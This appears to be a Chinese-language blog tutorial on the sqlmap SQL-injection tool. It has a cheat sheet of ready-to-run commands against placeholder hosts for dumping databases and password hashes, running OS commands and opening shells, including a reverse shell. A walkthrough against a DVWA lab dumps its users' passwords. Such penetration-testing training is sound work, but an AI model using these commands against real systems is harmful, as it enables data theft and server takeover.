渗透常用工具-SQLMap

sqlmap 是用python编写的渗透测试工具,可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。通常检测到存在sql注入点时,就可以利用此工具来进行验证。

下载使用

SQLMap下载地址:https://sqlmap.org/#download
Python下载地址:https://www.python.org/downloads/

根据以上下载地址来获取安装包
SQLmap:
渗透常用工具-SQLMap_第1张图片
Python:
渗透常用工具-SQLMap_第2张图片

下载完后安装即可使用。

使用方法

打开sqlmap所在目录,打开命令行。
渗透常用工具-SQLMap_第3张图片
在命令行中输入python sqlmap.py -u "http://xxx.com -p “id” --cookie=“xxxx”
渗透常用工具-SQLMap_第4张图片
结果
渗透常用工具-SQLMap_第5张图片

查库查表查字段

检测注入点 python sqlmap.py -u “http://xxx.com?id=1”
列出数据库 python sqlmap.py -u “http://xxx.com?id=1” --dbs
列出数据表 python sqlmap.py -u “http://xxx.com?id=1” -D database --tables
列出字段名 python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name --columns
列出字段 python sqlmap.py -u “http://xxx.com?id=1” -D database -T table_name -C coulmn_name --dump

常用参数表

设置cookie python sqlmap.py -u “http://xxx.com?id=1” --cookie=
检测cookie头 python sqlmap.py -u “http://xxx.com?id=1” --level=2 --cookie=
指定参数检测 python sqlmap.py -u “http://xxx.com?id=1&article=1” -p “id”
自动判断 python sqlmap.py -u “http://xxx.com?id=1&article=1” --batch
注入结果在其他页面 python sqlmap.py -u “http://xxx.com?id=1&article=1” --second-url “http://xxx.com”
设置代理 python sqlmap.py -u “http://xxx.com?id=1” --proxy=“xxx”
设置探测等级 python sqlmap.py -u “http://xxx.com?id=1” --level
设置风险等级 python sqlmap.py -u “http://xxx.com?id=1” --risk
判断状态码 python sqlmap.py -u “http://xxx.com?id=1” – code=200
响应体返回参数 python sqlmap.py -u “http://xxx.com?id=1” --string=“xxx”;
添加正则 python sqlmap.py -u “http://xxx.com?id=1” --regexp
查找在错误页面中的字符串 python sqlmap.py -u “http://xxx.com?id=1” --not-string
POST参数 python sqlmap.py -u “http://xx.com?id=1” --data=“xxx”
referer参数 python sqlmap.py -u “http://xx.com?id=1” --level=3 --referer=http://xxx.com
批量检查 python sqlmap.py -m 路径
检测https python sqlmap.py -u “https://xxx.com” --force-ssl
获取当前用户名称 python sqlmap.py -u “http://xxx.com” --current-user
获取当前数据库名称 python sqlmap.py -u “http://xxx.com” --current-db
确认是否为dba python sqlmap.py -u “http://xxx.com” --is-dba
查看权限 python sqlmap.py -u “http://xxx.com” --privileges
查看指定用户权限 python sqlmap.py -u “http://xxx.com” --privileges -U username
获取所有数据库用户密码 python sqlmap.py -u “http://xxx.com” --passwords
获取指定用户密码 python sqlmap.py -u “http://xxx.com” --passwords -U username
获取所有数据库角色 python sqlmap.py -u “http://xxx.com” --roles
获取所有数据库用户 python sqlmap.py -u “http://xxx.com” --users
获取所有数据库所有表 python sqlmap.py -u “http://xxx.com” --dump-all
执行系统命令 python sqlmap.py -u “http://xxx.com” --os-cmd=xxx
系统交互shell python sqlmap.py -u “http://xxx.com” --os-shell
执行指定sql语句 python sqlmap.py -u “http://xxx.com” --sql-shell
反弹shell python sqlmap.py -u “http://xxx.com” --os-pwn
读取windows注册表 python sqlmap.py -u “http://xxx.com” --reg-read
多线程 python sqlmap.py -u “http://xxx.com” –threads

–level

它共有五个等级,1-5,默认为1,等级2测试Cookie,等级3User-Agent/Referer头,等级4,5则会测试xff头等其他头部,如果想测试的全面一些可以用较高的level值。

–risk

它有3个等级划分,1-3,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

使用案例

这里用dvwa来测试,等级为高
通过正常流程测试,可以有两个页面,小页面用来接收sql参数,主页面用来显示结果,那么就要用到 --second-url参数
渗透常用工具-SQLMap_第6张图片
由于sqlmap去访问dvwa需要登录,则还需要用到--cookie参数
再看数据包是POST传值,则还要用到--data参数,且我们知道id可能是存在注入点,则用-p来指定检测参数。
所以检测是否存在sql注入的完整语句如下:

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id"

渗透常用工具-SQLMap_第7张图片
检测是存在sql注入的,并且返回了mysql的版本以及注入手段,payload等。
那么直接查库 --dbs,如果想看当前库则使用 --current-db

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" --dbs

渗透常用工具-SQLMap_第8张图片
这里我指定dvwa库,现在来查表 --tables

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa --tables

渗透常用工具-SQLMap_第9张图片
查users字段名 --columns

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users --columns

渗透常用工具-SQLMap_第10张图片
获取user,password的数据 --dump

python sqlmap.py -u "http://xxx/dvwa/vulnerabilities/sqli/session-input.php" --second-url "http://xxx/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=ur5o4kk296d5c90phl6q1v9k11" --data "id=1&Submit=Submit" -p "id" -D dvwa -T users -C user,password --dump

渗透常用工具-SQLMap_第11张图片

以上就是sqlmap的基本使用,其他参数表哥们可以自行研究下。

你可能感兴趣的:(渗透常用工具,web安全,python,安全)